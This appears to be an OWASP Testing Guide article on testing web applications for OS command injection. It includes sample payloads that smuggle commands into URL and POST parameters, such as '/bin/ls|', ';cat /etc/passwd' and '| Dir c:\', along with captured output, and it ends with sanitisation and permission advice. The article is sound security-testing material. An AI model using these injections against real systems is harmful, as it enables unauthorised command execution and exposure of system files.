Testing for Command Injection (OTG-INPVAL-013)

Brief Summary
This article describes how to test an application for OS command injection. We try try to inject an OS command through an HTTP request to the application.

Short Description of the Issue
OS command injection is a technique used via a web interface in order to execute OS commands on the web server.

The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications.

Black Box testing and example
When viewing a file in a web application the file name is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol “|” onto the end of the filename. Example URL before alteration:

http://sensitive/cgi-bin/userData.pl?doc=user1.txt

Example URL modified:

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

This will execute the command “/bin/ls”. Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. Example: http://sensitive/something.php?dir=%3Bcat%20/etc/passwd

Example Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following: POST http://www.example.com/public/doc HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://127.0.0.1/WebGoat/attack?Screen=20 Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5 Authorization: Basic T2Vbc1Q9Z3V2Tc3e= Content-Type: application/x-www-form-urlencoded Content-length: 33

Doc=Doc1.pdf In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:

POST http://www.example.com/public/doc HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://127.0.0.1/WebGoat/attack?Screen=20 Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5 Authorization: Basic T2Vbc1Q9Z3V2Tc3e= Content-Type: application/x-www-form-urlencoded Content-length: 33

Doc=Doc1.pdf+|+Dir c:\

If the application doesn't validate the request, we can obtain the following result: Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\' Output... Il volume nell'unità C non ha etichetta. Numero di serie Del volume: 8E3F-4B61 Directory of c:\ 18/10/2006 00:27 2,675 Dir_Prog.txt 18/10/2006 00:28 3,887 Dir_ProgFile.txt 16/11/2006 10:43   Doc 11/11/2006 17:25      Documents and Settings 25/10/2006 03:11         I386 14/11/2006 18:51	    h4ck3r 30/09/2005 21:40 25,934 		OWASP1.JPG 03/11/2006 18:29			Prog 18/11/2006 11:20				Program Files 16/11/2006 21:12					Software 24/10/2006 18:25						Setup 24/10/2006 23:37							Technologies 18/11/2006 11:14								3 File 32,496 byte 13 Directory 6,921,269,248 byte disponibili Return code: 0

In this case, we have successfully performed an OS injection attack.

Gray Box testing
Sanitization The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A “white list” containing only allowable characters should be created to validate the user input. Characters that were missed as well as undiscovered threats should be eliminated by this list. Permissions The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view